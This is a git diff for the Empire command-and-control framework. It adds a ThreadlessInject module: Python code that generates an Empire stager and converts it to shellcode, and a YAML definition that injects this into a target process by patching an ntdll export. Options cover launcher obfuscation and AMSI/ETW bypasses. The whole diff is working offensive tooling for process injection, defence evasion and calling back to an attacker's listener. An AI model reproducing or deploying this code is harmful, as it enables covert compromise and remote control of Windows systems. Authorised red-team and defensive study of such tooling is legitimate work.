diff --git a/.gitmodules b/.gitmodules index f76030d23..9f45193a5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -55,3 +55,6 @@ [submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty"] path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty url = https://github.com/BC-SECURITY/Moriarty.git +[submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject"] + path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject + url = https://github.com/CCob/ThreadlessInject.git diff --git a/CHANGELOG.md b/CHANGELOG.md index cb235627c..0528f5325 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added job tracking for all tasks in Sharpire (@Cx01N) - Updated agents to track all tasks and removed only tracking jobs (@Cx01N) - Added Invoke-BSOD modules (@Cx01N) +- Added ThreadlessInject module (@Cx01N) ### Fixed - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) diff --git a/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.Xml.Linq.dll b/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.Xml.Linq.dll new file mode 100644 index 000000000..6061dfc0f Binary files /dev/null and b/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.Xml.Linq.dll differ diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject new file mode 160000 index 000000000..0c8ea4acd --- /dev/null +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject @@ -0,0 +1 @@ +Subproject commit 0c8ea4acd90c35d5cb603aae0349af25cdc0cd58 diff --git a/empire/server/modules/csharp/ThreadlessInject.Covenant.py b/empire/server/modules/csharp/ThreadlessInject.Covenant.py new file mode 100644 index 000000000..339d6c269 --- /dev/null +++ b/empire/server/modules/csharp/ThreadlessInject.Covenant.py @@ -0,0 +1,120 @@ +from empire.server.core.exceptions import ( + ModuleValidationException, +) + +try: + import donut +except ModuleNotFoundError: + donut = None + +import yaml + +from empire.server.common import helpers +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + # staging options + listener_name = params["Listener"] + pid = params["pid"] + user_agent = params["UserAgent"] + proxy = params["Proxy"] + proxy_creds = params["ProxyCreds"] + launcher_obfuscation_command = params["ObfuscateCommand"] + language = params["Language"] + dot_net_version = params["DotNetVersion"].lower() + arch = params["Architecture"] + launcher_obfuscation = params["Obfuscate"] + export = params["ExportFunction"] + dll = params["dll"] + + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): + raise ModuleValidationException("[!] Invalid listener: " + listener_name) + + launcher = main_menu.stagers.generate_launcher( + listener_name, + language=language, + encode=False, + obfuscate=launcher_obfuscation, + obfuscation_command=launcher_obfuscation_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + ) + + if not launcher or launcher == "" or launcher.lower() == "failed": + raise ModuleValidationException("[!] Invalid listener: " + listener_name) + + if language.lower() == "powershell": + shellcode, err = main_menu.stagers.generate_powershell_shellcode( + launcher, arch=arch, dot_net_version=dot_net_version + ) + if err: + raise ModuleValidationException(err) + + elif language.lower() == "csharp": + if arch == "x86": + arch_type = 1 + elif arch == "x64": + arch_type = 2 + elif arch == "both": + arch_type = 3 + directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" + + if not donut: + raise ModuleValidationException( + "module donut-shellcode not installed. It is only supported on x86." + ) + + shellcode = donut.create(file=directory, arch=arch_type) + + elif language.lower() == "ironpython": + if dot_net_version == "net35": + ModuleValidationException( + "[!] IronPython agent only supports NetFramework 4.0 and above." + ) + shellcode = main_menu.stagers.generate_python_shellcode( + launcher, arch=arch, dot_net_version="net40" + ) + + base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8") + + compiler = main_menu.pluginsv2.get_by_id("csharpserver") + if compiler.status != "ON": + raise ModuleValidationException("csharpserver plugin not running") + + # Convert compiler.yaml to python dict + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) + # delete the 'Empire' key + del compiler_dict[0]["Empire"] + # convert back to yaml string + compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False) + + file_name = compiler.do_send_message( + compiler_yaml, module.name, confuse=obfuscate + ) + if file_name == "failed": + raise ModuleValidationException("module compile failed") + + script_file = ( + main_menu.installPath + + "/csharp/Covenant/Data/Tasks/CSharp/Compiled/" + + (params["DotNetVersion"]).lower() + + "/" + + file_name + + ".compiled" + ) + + script_end = ( + f",--shellcode={base64_shellcode} --pid={pid} --dll={dll} --export={export}" + ) + return f"{script_file}|{script_end}", None diff --git a/empire/server/modules/csharp/ThreadlessInject.Covenant.yaml b/empire/server/modules/csharp/ThreadlessInject.Covenant.yaml new file mode 100644 index 000000000..51bab8527 --- /dev/null +++ b/empire/server/modules/csharp/ThreadlessInject.Covenant.yaml @@ -0,0 +1,175 @@ +- Name: ThreadlessInject + Aliases: [] + Description: | + The program is designed to perform process injection. + Author: + Name: Ceri Coburn + Handle: Cobb + Link: https://twitter.com/_EthicalChaos_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net40 + Code: | + using System; + using System.IO; + + using ThreadlessInject; + + public static class Task + { + public static Stream OutputStream { get; set; } + public static string Execute(string Command) + { + try + { + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + StreamWriter stdOutWriter = new StreamWriter(OutputStream); + StreamWriter stdErrWriter = new StreamWriter(OutputStream); + stdOutWriter.AutoFlush = true; + stdErrWriter.AutoFlush = true; + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + string[] args = Command.Split(' '); + ThreadlessInject.Program.Main(args); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + OutputStream.Close(); + return ""; + } + + catch (Exception e) + { + if (OutputStream != null) + { + OutputStream.Close(); + } + return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; + } + } + } + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: [] + ReferenceSourceLibraries: + - Name: ThreadlessInject + Description: The program is designed to perform process injection. + Location: ThreadlessInject\ + Language: CSharp + CompatibleDotNetVersions: + - Net40 + ReferenceAssemblies: + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: System.Data.dll + Location: net40\System.Data.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Drawing.dll + Location: net40\System.Drawing.dll + DotNetVersion: Net40 + - Name: System.Runtime.Serialization.dll + Location: net40\System.Runtime.Serialization.dll + DotNetVersion: Net40 + - Name: System.Xml.dll + Location: net40\System.XML.dll + DotNetVersion: Net40 + - Name: System.Xml.Linq.dll + Location: net40\System.Xml.Linq.dll + DotNetVersion: Net40 + EmbeddedResources: [] + ReferenceAssemblies: [] + EmbeddedResources: [] + Empire: + tactics: [] + software: '' + techniques: + - T1055 + background: true + output_extension: + needs_admin: false + opsec_safe: false + comments: + - https://github.com/3xpl01tc0d3r/ProcessInjection + options: + - name: Listener + description: Listener to use. + required: true + value: '' + - name: Language + description: Language of the stager to generate + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython + - name: Obfuscate + description: Obfuscate the launcher powershell code, uses the ObfuscateCommand + for obfuscation types. For powershell only. + required: false + value: 'False' + strict: true + suggested_values: + - True + - False + - name: ObfuscateCommand + description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch + is True. For powershell only. + required: false + value: Token\All\1 + - name: Bypasses + description: Bypasses as a space separated list to be prepended to the launcher. + required: false + value: 'mattifestation etw' + - name: UserAgent + description: User-agent string to use for the staging request (default, none, or + other). + required: false + value: default + - name: Proxy + description: Proxy to use for request (default, none, or other). + required: false + value: default + - name: ProxyCreds + description: Proxy credentials ([domain\]username:password) to use for request (default, + none, or other). + required: false + value: default + - name: pid + description: Specify the process id. + required: true + value: '' + - name: Architecture + description: Architecture of the .dll to generate (x64 or x86). + required: true + value: both + strict: true + suggested_values: + - x64 + - x86 + - both + - name: ExportFunction + description: The exported function that will be hijacked. + required: true + value: 'NtTerminateProcess' + - name: dll + description: The DLL that that contains the export to patch. + required: true + value: 'ntdll.dll' + advanced: + custom_generate: true